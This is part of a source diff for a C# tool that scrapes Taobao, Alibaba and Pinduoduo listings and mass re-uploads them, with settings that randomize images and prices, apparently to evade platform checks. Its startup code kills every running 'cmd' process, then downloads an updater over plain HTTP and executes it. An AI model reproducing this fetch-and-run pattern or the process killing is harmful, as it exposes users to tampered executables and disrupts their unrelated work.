///
/// </summary>
public string mobile { get; set; }
/// <summary>
///
/// </summary>
public int first_cid { get; set; }
/// <summary>
///
/// </summary>
public int second_cid { get; set; }
/// <summary>
///
/// </summary>
public int third_cid { get; set; }
/// <summary>
///
/// </summary>
public Category_detail category_detail { get; set; }
/// <summary>
///
/// </summary>
public int pay_type { get; set; }
/// <summary>
///
/// </summary>
public string recommend_remark { get; set; }
/// <summary>
/// {"category_detail":{"first_cid":20005,"second_cid":20171,"third_cid":0,"fourth_cid":0,"first_cname":"女装","second_cname":"T恤","third_cname":"","fourth_cname":"","is_leaf":true},"class_quality":"","is_publish":1,"quality_report":"","stone":{"remark":"您好kkkkkkkkkkkkk"}}
/// </summary>
public string extra { get; set; }
/// <summary>
///
/// </summary>
public int is_create { get; set; }
/// <summary>
///
/// </summary>
public string create_time { get; set; }
/// <summary>
///
/// </summary>
public string update_time { get; set; }
/// <summary>
///
/// </summary>
public List<string> pic { get; set; }
/// <summary>
/// {"上市年份季节":"2021年夏季","品牌":"JEEP/吉普","图案":"纯色","成分含量":"30%(含)-50%(含)","货号":"J0215912311530","面料材质":"其他/others"}
/// </summary>
public string product_format { get; set; }
/// <summary>
///
/// </summary>
public List<Spec_picsItem> spec_pics { get; set; }
/// <summary>
///
/// </summary>
public List<Spec_pricesItem> spec_prices { get; set; }
/// <summary>
///
/// </summary>
public List<SpecsItem> specs { get; set; }
/// <summary>
///
/// </summary>
public string img { get; set; }
/// <summary>
///
/// </summary>
public int presell_type { get; set; }
/// <summary>
///
/// </summary>
public int maximum_per_order { get; set; }
/// <summary>
///
/// </summary>
public int limit_per_buyer { get; set; }
/// <summary>
///
/// </summary>
public int minimum_per_order { get; set; }
/// <summary>
///
/// </summary>
public List<string> quality_list { get; set; }
/// <summary>
///
/// </summary>
public Logistics_info logistics_info { get; set; }
/// <summary>
///
/// </summary>
public string after_sale_service { get; set; }
/// <summary>
///
/// </summary>
public int price_has_tax { get; set; }
/// <summary>
///
/// </summary>
public int appoint_delivery_day { get; set; }
/// <summary>
///
/// </summary>
public long spu_id { get; set; }
/// <summary>
///
/// </summary>
public string is_sub_product { get; set; }
/// <summary>
///
/// </summary>
public int draft_status { get; set; }
}
public class GoodDetail
{
/// <summary>
///
/// </summary>
public Data data { get; set; }
/// <summary>
///
/// </summary>
public int code { get; set; }
/// <summary>
///
/// </summary>
public string msg { get; set; }
/// <summary>
///
/// </summary>
public string sub_code { get; set; }
/// <summary>
///
/// </summary>
public string sub_msg { get; set; }
}
}
+214
View File
@@ -0,0 +1,214 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work
{
public class Edit_check
{
/// <summary>
/// Check_status
/// </summary>
public int check_status { get; set; }
/// <summary>
/// Is_appeal
/// </summary>
public int is_appeal { get; set; }
/// <summary>
/// Submit_uid
/// </summary>
public int submit_uid { get; set; }
/// <summary>
/// pdd58271983015
/// </summary>
public string submit_uname { get; set; }
/// <summary>
/// Submit_time
/// </summary>
public int submit_time { get; set; }
/// <summary>
/// 广告中不得使用不存在的(虚假的)服务。不具备从事特定服务的资质、能力,禁止发布提供服务的广告。
/// </summary>
public string reject_reason { get; set; }
/// <summary>
/// Goods_commit_id
/// </summary>
public int goods_commit_id { get; set; }
}
public class GoodInfo
{
/// <summary>
/// Quantity
/// </summary>
public int? quantity { get; set; }
/// <summary>
/// Score
/// </summary>
public decimal? score { get; set; }
/// <summary>
///
/// </summary>
public string resource { get; set; }
/// <summary>
/// Priority
/// </summary>
public string priority { get; set; }
/// <summary>
/// Sku_group_price
/// </summary>
public List<int?> sku_group_price { get; set; }
/// <summary>
/// Sku_price
/// </summary>
public List<int?> sku_price { get; set; }
/// <summary>
/// Origin_sku_group_price
/// </summary>
public List<int?> origin_sku_group_price { get; set; }
/// <summary>
/// Promotion_goods
/// </summary>
public string promotion_goods { get; set; }
/// <summary>
/// Id
/// </summary>
public long id { get; set; }
/// <summary>
/// 小白鞋秋季女2018新款百搭韩版基础秋冬板鞋网红冬季女鞋加绒棉鞋
/// </summary>
public string goods_name { get; set; }
/// <summary>
/// 1811284555645762
/// </summary>
public string goods_sn { get; set; }
/// <summary>
/// Goods_type
/// </summary>
public int? goods_type { get; set; }
/// <summary>
/// Cat_id
/// </summary>
public int cat_id { get; set; }
/// <summary>
/// 低帮鞋
/// </summary>
public string cat_name { get; set; }
/// <summary>
/// Event_type
/// </summary>
public int? event_type { get; set; }
/// <summary>
/// -1
/// </summary>
public string display_priority { get; set; }
/// <summary>
/// http://t00img.yangkeduo.com/goods/images/2018-11-28/afb301861a3c6fac8e6f8b962dd8b695.jpeg
/// </summary>
public string hd_thumb_url { get; set; }
/// <summary>
/// http://t00img.yangkeduo.com/openapi/images/2018-11-28/829e042c9076cd4bd8241e957a754374.jpeg
/// </summary>
public string image_url { get; set; }
/// <summary>
/// http://t00img.yangkeduo.com/goods/images/2018-11-28/a4c91cabb0d63d44b4359700fc834270.jpeg
/// </summary>
public string thumb_url { get; set; }
/// <summary>
/// Is_onsale
/// </summary>
public bool is_onsale { get; set; }
/// <summary>
/// Sold_quantity
/// </summary>
public int sold_quantity { get; set; }
/// <summary>
/// Off_sale_check
/// </summary>
public string off_sale_check { get; set; }
/// <summary>
/// Edit_check
/// </summary>
//public string edit_check { get; set; }
public Edit_check edit_check { get; set; }
/// <summary>
/// Gray_goods_high_quality_refund
/// </summary>
public bool gray_goods_high_quality_refund { get; set; }
/// <summary>
/// Share_desc
/// </summary>
public string share_desc { get; set; }
/// <summary>
/// Goods_desc
/// </summary>
public string goods_desc { get; set; }
/// <summary>
/// Activity_title
/// </summary>
public string activity_title { get; set; }
/// <summary>
/// Is_card_secret
/// </summary>
public bool is_card_secret { get; set; }
/// <summary>
/// Market_price
/// </summary>
public int? market_price { get; set; }
/// <summary>
///
/// </summary>
public string out_goods_sn { get; set; }
/// <summary>
/// Sold_quantity_for_thirty_days
/// </summary>
public int? sold_quantity_for_thirty_days { get; set; }
/// <summary>
/// Fav_cnt
/// </summary>
public string fav_cnt { get; set; }
/// <summary>
/// Reject_status
/// </summary>
public string reject_status { get; set; }
public string multi_treasure { get; set; }
/// <summary>
///
/// </summary>
public string reject_reason { get; set; }
}
public class Result
{
/// <summary>
/// Total
/// </summary>
public int? total { get; set; }
/// <summary>
/// Goods_list
/// </summary>
public List<GoodInfo> goods_list { get; set; }
}
public class GoodReturnResult
{
/// <summary>
/// Success
/// </summary>
public bool success { get; set; }
/// <summary>
/// ErrorCode
/// </summary>
public int? errorCode { get; set; }
/// <summary>
/// ErrorMsg
/// </summary>
public string errorMsg { get; set; }
/// <summary>
/// Result
/// </summary>
public Result result { get; set; }
}
}
+107
View File
@@ -0,0 +1,107 @@
/**
* 精准裂变
* 肖俊
* 2018-3-13
*/
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using AllBase;
using Work.Api;
using Work.CollectClass;
using System;
using System.Collections.Concurrent;
namespace Work
{
public class IdFessionTaobao
{
public static List<ProductUploadBase> UploadList = new List<ProductUploadBase>();
public static List<ProductCollectBase> ProductTemp = new List<ProductCollectBase>();
public static List<ProductCollectBase> ProductAllTemp = new List<ProductCollectBase>();
public string Name, FileName = "temp/taobao.tjm";
public static bool Running = false, GroupUp = false, NeedSave = false;
public static int ThreadCount = 2, ShopCut = 0, SingleShopIdCount = 1;
public static Dictionary<string, int> ShopAndProductId = new Dictionary<string, int>();
public static ConcurrentQueue<SaveServerParm> ConcurrentQueueHtmlSaveServer = new ConcurrentQueue<SaveServerParm>();
public static ConcurrentQueue<TaobaoMobileCollect> ConcurrentQueueHtmlCollectioneServer = new ConcurrentQueue<TaobaoMobileCollect>();
public IdFessionTaobao(string name)
{
Name = name;
}
/// <summary>
/// 存储到服务器
/// </summary>
public static void SaveHtmlToSereve()
{
try
{
while (true)
{
int AgainCount = 0;
if (ConcurrentQueueHtmlSaveServer.Count > 0)
{
SaveServerParm ssp = null;
if (!ConcurrentQueueHtmlSaveServer.TryDequeue(out ssp))
{
continue;
}
Again:
bool bo = ServerTemp.Set(ssp.SaveType, ssp.ProuctId, ssp.SaveHtml);
if (bo == false)
{
AgainCount++;
if (AgainCount >= 3)//重试第三次直接跳出
{
continue;
}
Thread.Sleep(new Random().Next(5000, 10000));
goto Again;
}
AgainCount = 0;
}
Thread.Sleep(50);
}
}
catch (Exception ex)
{
LogSave.Add("SaveHtmlToSereve " + ex.ToString());
}
}
}
public class ProductUploadBase
{
public long id = 0;
public string url = "";
//1:淘宝 2:拼多多 3:阿里巴巴
public int site_id = 0;
public int count = 0;
public int deleteMainImg = 0;
public string main_keyword = "";
public string name = "";
public string image = "";
public string desc_keyword = "";
public string shop_name = "";
}
public class SaveServerParm
{
/// <summary>
/// 2 拼多多或淘宝 3 阿里巴巴
/// </summary>
public int SaveType { get; set; }
//Id
public string ProuctId { get; set; }
/// <summary>
/// html
/// </summary>
public string SaveHtml { get; set; }
}
}
+949
View File
@@ -0,0 +1,949 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Management;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using System.Xml;
using AllBase;
using Work.Api;
using Work.CollectClass;
using Work.ManageClass;
using System.Text.RegularExpressions;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Net;
using System.Collections;
using System.Linq;
using System.Threading.Tasks;
namespace Work
{
public class Initialization
{
public static int InitPercent = 0;
public static bool IsCheckFilesFinish = false;
public static bool IsCheckFilesSuccesss = true;
public static string ConfigFilePach = Application.StartupPath + "\\Config.xml";
public static void InitProgress(int i)
{
InitPercent += i;
if (InitPercent > 100)
InitPercent = 100;
}
public string KeyWord =
"67,41,102,107,122,85,3,61,66,76,56,97,9,123,117,43,55,87,22,9,11,79,2,40,55,13,44,28,123,105,85,50,117,110,120,7,104,17,13,62,41,113,88,118,7,51,85,102,3,31,41,4,88,86,105,115,93,73,125,111,46,47,99,119,66,94,90,66,43,112,111,10,12,46,30,119,60,116,7,15,78,115,1,50,27,29,20,64,26,121,116,57,28,71,53,49,54,109,103,122,77,123,105,75,122,125,11,98,85,2,117,64,55,33,28,107,120,50,113,112,21,19,92,57,23,14,88,50,14,105,83,89,69,83,116,120,87,5,100,94,111,126,7,59,81,28,44,84,13,46,51,13,59,75,111,7,75,14,123,119,14,29,70,105,102,115,124,115,86,42,78,123,125,29,82,8,14,47,1,126,9,47,26,73,96,13,112,8,71,91,68,95,90,20,24,28,54,70,75,39,51,103,42,39,120,120,126,25,96,34,125,32,50,32,44,63,56,75,34,89,64,75,110,62,123,117,1,114,84,75,34,2,105,58,61,55,52,20,122,16,40,78,21,126,124,29,38,55,2,124,60,123,34,111,28,41,36,76,119,59,101,15,82,7,84,29,113,99,8,51,71,23,19,91,30,2,116,38,36,3,29,54,20,9,65,16,123,47,64,23,1,109,62,119,108,45,14,91,117,10,79,76,15,43,67,26,45,28,65,94,51,37,91,110,107,110,109,65,61,82,12,116,27,25,26,71,122,87,100,100,86,107,8,38,5,20,68,2,44,91,2,87,36,69,73,35,107,13,120,120,27,104,87,97,74,40,49,65,126,19,65,118,100,49,13,6,77,21,91,13,68,37,43,50,41,97,62,118,49,41,65,28,27,30,13,93,16,106,23,77,29,19,28,18,110,45,114,27,63,74,30,90,126,93,126,91,26,113,59,125,85,45,94,74,45,42,19,105,100,40,6,5,10,107,105,55,9,64,89,121,7,47,25,27,60,17,41,59,26,49,85,72,102,115,114,5,78,49,48,0,111,54,103,42,22,117,66,114,119,6,5,77,65,66,52,27,94,24,104,24,43,101,120,60,71,68,38,113,23,39,62,76,22,69,15,46,36,123,81,36,68,22,75,32,77,58,112,125,41,48,124,70,50,80,100,31,55,124,79,92,27,104,106,55,65,14,70,92,17,105,48,57,24,116,9,65,51,76,19,55,32,88,98,35,72,25,117,46,109,78,29,109,93,76,81,3,101,58,118,9,83,98,81,13,42,30,94,51,108,119,45,5,119,84,10,62,42,32,69,64,49,35,96,41,32,94,28,104,98,99,113,58,45,117,82,44,42,62,76,45,32,68,104,15,37,31,34,43,122,23,76,15,44,7,114,92,77,55,29,65,50,125,119,102,4,115,89,122,51,71,54,34,111,116,48,87,29,53,14,121,100,21,65,21,114,96,35,68,4,123,43,21,103,41,6,107,123,69,11,45,53,100,58,121,12,84,98,21,6,47,67,13,90,76,4,20,87,12,113,16,1,34,19,82,28,104,39,11,40,125,78,42,4,124,68,34,88,113,111,85,125,21,82,109,74,60,65,40,59,34,57,106,9,84,49,53,121,109,83,63,57,70,88,62,118,111,18,25,83,21,118,2,64,116,79,93,80,33,3,31,44,30,96,33,111,38,33,92,36,69,106,56,72,93,94,20,17,15,13,108,29,20,27,57,7,43,76,115,55,109,42,41,34,2,31,49,25,92,52,68,25,19,121,35,51,8,35,19,90,57,119,83,12,77,110,102,9,1,42,80,83,55,108,16,45,111,19,47,76,63,11,50,42,59,89,88,20,122,125,12,5,68,36,53,90,120,43,90,93,50,20,6,90,82,52,100,124,49,65,39,86,40,31,20,77,75,97,49,35,101,69,15,74,40,78,20,107,54,63,6,103,6,38,94,119,60,34,53,117,90,68,2,108,36,113,53,124,64,48,72,105,1,68,45,13,57,6,20,67,80,110,79,109,68,101,62,82,61,80,117,73,59,82,45,41,110,78,68,89,18,115,4,66,17,24,112,41,29,0,16,94,36,78,4,122,17,86,49,98,85,118,115,14,92,12,126,90,74,105,26,46,21,6,19,84,39,95,21,36,10,45,36,98,93,117,104,97,10,84,55,15,28,121,114,22,78,112,55,6,34,45,58,37,55,24,112,71,96,121,106,122,64,0,78,67,30,29,101,24,113,16,85,34,4,63,57,115,57,100,66,13,49,68,21,45,49,22,60,53,21,48,29,108,43,103,8,106,104,70,20,71,32,58,52,25,2,91,53,60,12,68,120,39,34";
/// <summary>
/// 初始化
/// </summary>
public void Get()
{
UpdateTime();
InitProgress(1);
string code = "";
//EncryptionCode.Test();;
new JumpUpProductNew(null).Ini();
InitProgress(1);
string file = "temp/product.ini";
string[] l = FileBase.ReadAllLines(file);
for (int i = 0; l != null && i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]))
continue;
BaseClass.ProductIds.Add(l[i]);
}
foreach (Process thisproc in Process.GetProcesses())
{
if (thisproc.ProcessName.ToLower() == "cmd")
thisproc.Kill();
}
InitProgress(1);
FileBase.DirectoryCreate(Application.StartupPath + "\\temp\\upsame\\");
FileBase.DirectoryCreate(Application.StartupPath + "\\taobao\\");
FileBase.DirectoryCreate(Application.StartupPath + "\\taobao\\keywords\\");
FileBase.DirectoryCreate(Application.StartupPath + "\\taobao\\out\\");
if (!FileBase.Exists(ConfigFilePach))
WriteFile();
string checkvalue = @"OrderStep,5;RankPage,3;ImageSheild,true;NoKeyword,;
noSoldPara,true;visitPara,true;visitCountPara,1;offTimePara,23:00;onTimePara,05:00;
taoBaoPara,false;alibabaPara,false;pinduoduoPara,false;dataCenterPara,false;autoAddPara,false;
maxPagePara,5;singleKeywordPara,1000;priceStartPara,1;priceEndPara,1000;soldStartPara,1;soldEndPara,100000;
mainImagePara,0;fessionCountPara,1;outKeywordrichPara,批发\定制\代购\外贸\跨境\防狼\辣椒水\迷情\刀\枪\听话\催泪\瓦斯\旗舰店\企业店\外购;addKeywordrichPara,;
multiPara,1.08;postagePara,10;singlePricePara,1;beforPricePara,2.0;stockPara,999;groupCountPara,2;randPara,false;randPrice1Para,0;randPrice2Para,2;
imageBuildPara,true;randDeletePara,true;priceShieldPara,true;IrregularitiesPara,true;randSkuPara,false;randImagePara,true;randDescPara,false;onlyFreePara,false;
propToMainPara,false;deleteMainImagePara,false;mainImageCountPara,0;deleteFirstPara,false;saveAllImagePara,false;descImgCountPara,10;prefixPara,false;
prefixTextPara,;shopthreadCountPara,3;singeThreadCountPara,1;singleUploadPara,500;catHardPara,false;relationPara,false;visitSpacePara,7;saveCollectPara,true;
offCountPara,false;offProductPara,100;IrregularitiesPara,true;noNeerPara,true;noNeerDaysPara,3;limitReplacePara,true;replaceCountPara,3;errorDownPara,false;apiPara,false";
CheckXmlValue(checkvalue, ConfigFilePach);
Task.Run(() => { Update(); InitProgress(1); });
Task.Run(() => { GetAuthConfig(); InitProgress(1); });
Task.Run(() => { CheckFiles(); IsCheckFilesFinish = true; InitProgress(1); });
//Task.Run(() => { CheckUpdataFile(); });
Task.Run(() => { new Segment().GetWord(); InitProgress(1); });
Task.Run(() => { new PinduoduoCatList().Get(); InitProgress(1); });
Task.Run(() => { GetMacCode(); InitProgress(1); });
#if DEBUG
#else
Task.Run(() => { new CheckHecker().Check(); InitProgress(1); }); // 防止破解
#endif
Task.Run(() => { PinduoduoProductCollect.GetServerCookies(); InitProgress(1); });
Task.Run(() => { new LoadCloudData().Get(); InitProgress(1); }); // 加载云数据
Task.Run(() => { new BigDataBuild("").Ini(); InitProgress(1); }); // 加载云数据
new FromTitleToCat();
InitProgress(1);
if (!File.Exists(ConfigFilePach))
{
WriteFile();
InitProgress(1);
}
try
{
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(ConfigFilePach);
XmlNode xn = xmlDoc.SelectSingleNode("ConfigSet");
BaseClass.UserName = xn["UserName"].InnerText;
BaseClass.PassWord = xn["PassWord"].InnerText;
BaseClass.RankPage = int.Parse(xn["RankPage"].InnerText);
BaseClass.ThreadCount = int.Parse(xn["ThreadCount"].InnerText);
BaseClass.WaitTime = int.Parse(xn["WaitTime"].InnerText);
BaseClass.OrderStep = int.Parse(xn["OrderStep"].InnerText);
BaseClass.HadNoteId = xn["HadNoteId"].InnerText;
BaseClass.Remember = bool.Parse(xn["RememberPass"].InnerText);
BaseClass.AutoLogin = bool.Parse(xn["AutoLogin"].InnerText);
BaseClass.MinPrice = decimal.Parse(xn["MinPrice"].InnerText);
BaseClass.MaxPrice = decimal.Parse(xn["MaxPrice"].InnerText);
BaseClass.MinBackMoney = decimal.Parse(xn["MinBackMoney"].InnerText);
BaseClass.MinSales = int.Parse(xn["MinSales"].InnerText);
BaseClass.MinPercent = int.Parse(xn["MinPercent"].InnerText);
BaseClass.MinLevel = int.Parse(xn["MinLevel"].InnerText);
BaseClass.AlimamaPageCount = int.Parse(xn["AlimamaPageCount"].InnerText);
BaseClass.ImageSheild = bool.Parse(xn["ImageSheild"].InnerText);
BaseClass.CloudTitle = bool.Parse(xn["CloudTitle"].InnerText);
BaseClass.CloudBrand = bool.Parse(xn["CloudBrand"].InnerText);
BaseClass.CloudSellerNick = bool.Parse(xn["CloudSellerNick"].InnerText);
BaseClass.CloudProduct = bool.Parse(xn["CloudProduct"].InnerText);
BaseClass.NoKeyword = xn["NoKeyword"].InnerText;
//自动上下架
UploadPinduoduoMain.NoSold = bool.Parse(xn["noSoldPara"].InnerText);
UploadPinduoduoMain.NoVisit = bool.Parse(xn["visitPara"].InnerText);
UploadPinduoduoMain.VisitCount = int.Parse(xn["visitCountPara"].InnerText);
UploadPinduoduoMain.offTime = xn["offTimePara"].InnerText;
UploadPinduoduoMain.onTime = xn["onTimePara"].InnerText;
//采集
CollectKeywordByTaobao.TaobaoCollect = bool.Parse(xn["taoBaoPara"].InnerText);
CollectKeywordByTaobao.Alibaba = bool.Parse(xn["alibabaPara"].InnerText);
CollectKeywordByTaobao.PinduoduoCollect = bool.Parse(xn["pinduoduoPara"].InnerText);
CollectKeywordByTaobao.DataCenter = bool.Parse(xn["dataCenterPara"].InnerText);
CollectKeywordByTaobao.AutoAdd = bool.Parse(xn["autoAddPara"].InnerText);
CollectKeywordByTaobao.PageTop = int.Parse(xn["maxPagePara"].InnerText);
CollectKeywordByTaobao.MaxSingleKeywordProduct = int.Parse(xn["singleKeywordPara"].InnerText);
CollectKeywordByTaobao.MinPrice = int.Parse(xn["priceStartPara"].InnerText);
CollectKeywordByTaobao.MaxPrice = int.Parse(xn["priceEndPara"].InnerText);
CollectKeywordByTaobao.MinSale = int.Parse(xn["soldStartPara"].InnerText);
CollectKeywordByTaobao.MaxSale = int.Parse(xn["soldEndPara"].InnerText);
CollectKeywordByTaobao.MainImageCut = int.Parse(xn["mainImagePara"].InnerText);
CollectKeywordByTaobao.FessionCount = int.Parse(xn["fessionCountPara"].InnerText);
CollectKeywordByTaobao.outKeywordrich = xn["outKeywordrichPara"].InnerText;
CollectKeywordByTaobao.addKeywordrich = xn["addKeywordrichPara"].InnerText;
//上传
UploadPinduoduoMain.MultiPrice = decimal.Parse(xn["multiPara"].InnerText);
UploadPinduoduoMain.MultiSavePrice = decimal.Parse(xn["multiPara"].InnerText);
UploadPinduoduoMain.Postage = decimal.Parse(xn["postagePara"].InnerText);
UploadPinduoduoMain.SinglePrice = decimal.Parse(xn["singlePricePara"].InnerText);
UploadPinduoduoMain.BeforePrice = decimal.Parse(xn["beforPricePara"].InnerText);
UploadPinduoduoMain.LimitBuy = int.Parse(xn["stockPara"].InnerText);
if (UploadPinduoduoMain.LimitBuy > 99)
UploadPinduoduoMain.LimitBuy = 99;
UploadPinduoduoMain.GroupCount = int.Parse(xn["groupCountPara"].InnerText);
UploadPinduoduoMain.RandPrice = bool.Parse(xn["randPara"].InnerText);
UploadPinduoduoMain.RandPrice1 = int.Parse(xn["randPrice1Para"].InnerText);
UploadPinduoduoMain.RandPrice2 = int.Parse(xn["randPrice2Para"].InnerText);
UploadPinduoduoMain.ImageBuild = bool.Parse(xn["imageBuildPara"].InnerText);
UploadPinduoduoMain.RandDeleteImage = bool.Parse(xn["randDeletePara"].InnerText);
UploadPinduoduoMain.PriceShield = bool.Parse(xn["priceShieldPara"].InnerText);
UploadPinduoduoMain.Irregularities = bool.Parse(xn["IrregularitiesPara"].InnerText);
UploadPinduoduoMain.RandSku = bool.Parse(xn["randSkuPara"].InnerText);
UploadPinduoduoMain.RandMainImage = bool.Parse(xn["randImagePara"].InnerText);
UploadPinduoduoMain.RandDesc = bool.Parse(xn["randDescPara"].InnerText);
UploadPinduoduoMain.JustFree = bool.Parse(xn["onlyFreePara"].InnerText);
UploadPinduoduoMain.PropImageToMain = bool.Parse(xn["propToMainPara"].InnerText);
UploadPinduoduoMain.DeleteMainImage = bool.Parse(xn["deleteMainImagePara"].InnerText);
UploadPinduoduoMain.DeleteMainImageCut = int.Parse(xn["mainImageCountPara"].InnerText);
UploadPinduoduoMain.DeleteFirst = bool.Parse(xn["deleteFirstPara"].InnerText);
UploadPinduoduoMain.JustSaveContentImage = bool.Parse(xn["saveAllImagePara"].InnerText);
UploadPinduoduoMain.JustSaveContentImageCount = int.Parse(xn["descImgCountPara"].InnerText);
UploadPinduoduoMain.PreFix = bool.Parse(xn["prefixPara"].InnerText);
UploadPinduoduoMain.PreFixTitle = xn["prefixTextPara"].InnerText;
UploadPinduoduoMain.ShopThreadCount = int.Parse(xn["shopthreadCountPara"].InnerText);
UploadPinduoduoMain.SingleThreadCount = int.Parse(xn["singeThreadCountPara"].InnerText);
UploadPinduoduoMain.MaxUpload = int.Parse(xn["singleUploadPara"].InnerText);
UploadPinduoduoMain.CutHand = bool.Parse(xn["catHardPara"].InnerText);
UploadPinduoduoMain.Relation = bool.Parse(xn["relationPara"].InnerText);
//替换
UploadPinduoduoMain.Days = int.Parse(xn["visitSpacePara"].InnerText);
CollectKeywordByTaobao.SaveCollect = bool.Parse(xn["saveCollectPara"].InnerText);
UploadPinduoduoMain.OffProduct = bool.Parse(xn["offCountPara"].InnerText);
UploadPinduoduoMain.OffProductCount = int.Parse(xn["offProductPara"].InnerText);
UploadPinduoduoMain.Irregularities = bool.Parse(xn["IrregularitiesPara"].InnerText);
UploadPinduoduoMain.NoNeerReplace = bool.Parse(xn["IrregularitiesPara"].InnerText);
UploadPinduoduoMain.NoNeerDays = int.Parse(xn["noNeerDaysPara"].InnerText);
UploadPinduoduoMain.LimitReplace = bool.Parse(xn["limitReplacePara"].InnerText);
UploadPinduoduoMain.ReplaceCount = int.Parse(xn["replaceCountPara"].InnerText);
UploadPinduoduoMain.ErrorDown = bool.Parse(xn["errorDownPara"].InnerText);
UploadPinduoduoMain.UseApi = bool.Parse(xn["apiPara"].InnerText);
}
catch
{
MessageBox.Show("配置文件异常,自动重置");
WriteFile();
}
InitProgress(1);
string name = Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().ProcessName);
int count = 0;
foreach (System.Diagnostics.Process thisproc in System.Diagnostics.Process.GetProcesses())
{
if (thisproc.ProcessName.ToLower() == name.ToLower())
{
count++;
break;
}
}
InitProgress(1);
Task.Run(() => { GetPublicIp(); InitProgress(1); });
}
public static void GetPublicIp()
{
try
{
string url = " https://www.baidu.com/s?ie=utf-8&newi=1&mod=1&isbd=1&isid=84A468A54F829825&wd=" + GetHtml.UrlEncodeUtf8("本机iP地址查询") + "&rsv_spt=1&rsv_iqid=0xcb667698000f1fc5&issp=1&f=8&rsv_bp=1&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=0&rsv_dl=tb&rsv_sug3=2&rsv_n=2&rsv_sug1=1&rsv_sug7=100&inputT=9336&rsv_sug4=9993&rsv_sid=30747_1421_21089_30792_20692_30824_26350_22157&_ss=1&clist=&hsug=&f4s=1&csor=8&_cr1=29534";
string html = GetPostTaobaoHtml.UploadBaidu(url);
var m = BaseRegex.GetMatchRegex(ref html, @"我的ip地址(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})\s*属于([\w\W]+?)。");
for (int j = 0; m != null && j < m.Count; j++)
{
BaseClass.IPAddress = m[j].Groups[1].Value;
BaseClass.IPAddressName = m[j].Groups[2].Value;
}
if (string.IsNullOrEmpty(BaseClass.IPAddress))
{
url = "https://www.ip.cn/api/index?ip=&type=0";
html = GetPostTaobaoHtml.UploadTaobao(url, "", true);
//{"rs":1,"code":0,"address":"中国 安徽省 合肥市 电信","ip":"183.160.113.181","isDomain":0}
BaseClass.IPAddress = BaseRegex.GetStringJson(ref html, "ip");
BaseClass.IPAddressName = BaseRegex.GetStringJson(ref html, "address");
}
//if (string.IsNullOrEmpty(BaseClass.IPAddress))
//{
// url = "http://ip.xianhua.com.cn/";
// html = GetPostTaobaoHtml.UploadTaobaoPost(url, "", true, "", false, "", 3);
// m = BaseRegex.GetMatchRegex(ref html, @"\[(.*?)]");
// for (int j = 0; m != null && j < m.Count; j++)
// {
// BaseClass.IPAddress = m[0].ToString().Trim('[').Trim(']');
// BaseClass.IPAddressName = m[1].ToString().Trim('[').Trim(']');
// }
//}
//if (string.IsNullOrEmpty(BaseClass.IPAddress))
//{
// url = "http://2000019.ip138.com/";
// html = GetPostTaobaoHtml.UploadTaobaoPost(url, "", true, "", false, "", 3);
// m = BaseRegex.GetMatchRegex(ref html, @"您的IP地址是:\s*\[([\w\W]+?)\]\s*来自:([\w\W]+?)</p>");
// for (int j = 0; m != null && j < m.Count; j++)
// {
// BaseClass.IPAddress = m[j].Groups[1].Value;
// BaseClass.IPAddressName = m[j].Groups[2].Value.Trim();
// }
//}
}
catch
{
}
}
/// <summary>
/// 检查更新
/// </summary>
private void Update()
{
string upfilepath = Application.StartupPath + "\\Updatex.exe";
File.WriteAllText(Application.StartupPath + "\\updateconfig.ini", BaseClass.VersionCount
+ "\r\nhttps://update.qixiaoke.com/littlerabbit_update/uploader.php");
if (File.Exists(upfilepath))
{
string fc = GetMD5(upfilepath);
if (fc != "001EC5642914325F1DCF6E69BBA90738")
{
GetHtml.DownloadFile("http://dl.qixiaoke.com/Update3.1.exe", upfilepath);
}
}
else//如果自动更新文件不存在,则强制更新主文件
GetHtml.DownloadFile("http://dl.qixiaoke.com/Update3.1.exe", upfilepath);
try
{
Process.Start(upfilepath);
}
catch
{
}
InitProgress(1);
}
/// <summary>
/// 获取签名验证配置
/// </summary>
private void GetAuthConfig()
{
string sUrl = BaseClass.LoginApiUrl + "/?obj=api/config&act=auth_config";
//string sAuthConfig = HttpHelper.Get(new HttpParam { Url = sUrl });
string sAuthConfig = GetHtml.PostUtf8(sUrl, "");
if (string.IsNullOrEmpty(sAuthConfig)) return;
BaseClass.NewSignatureAuth = sAuthConfig.Equals("1");
InitProgress(1);
}
/// <summary>
/// 获取文件MD5值
/// </summary>
/// <param name="FilePath"></param>
/// <returns></returns>
public static string GetMD5(string FilePath)
{
try
{
FileStream get_file = new FileStream(FilePath, FileMode.Open, FileAccess.Read, FileShare.Read);
System.Security.Cryptography.MD5CryptoServiceProvider get_md5 = new System.Security.Cryptography.MD5CryptoServiceProvider();
byte[] hash_byte = get_md5.ComputeHash(get_file);
string resule = System.BitConverter.ToString(hash_byte);
resule = resule.Replace("-", "");
get_file.Close();
return resule;
}
catch (Exception e)
{
return e.ToString();
}
}
/// <summary>
/// 检查所有配置选项是否存在
/// </summary>
/// <param name="checkstring">检查项目和默认值</param>
private void CheckXmlValue(string checkstring, string file)
{
checkstring = checkstring.Replace("\r\n", "").Replace("\n", "");
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(file);
XmlNode xn = xmlDoc.SelectSingleNode("ConfigSet");
string[] list = checkstring.Split(';');
bool mustsave = false;
for (int i = 0; i < list.Length; i++)
{
if (string.IsNullOrEmpty(list[i]))
continue;
string[] l = list[i].Split(',');
if (xn[l[0]] == null)
{
mustsave = true;
XmlElement element2 = xmlDoc.CreateElement(l[0].Trim());
element2.InnerText = l[1];
xn.AppendChild(element2);
}
}
if (mustsave)
xmlDoc.Save(file);
}
/// <summary>
/// 保存配置
/// </summary>
public void SaveConfig()
{
try
{
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(ConfigFilePach);
XmlNode xn = xmlDoc.SelectSingleNode("ConfigSet");
xn["WaitTime"].InnerText = BaseClass.WaitTime.ToString();
xn["ThreadCount"].InnerText = BaseClass.ThreadCount.ToString();
xn["OrderStep"].InnerText = BaseClass.OrderStep.ToString();
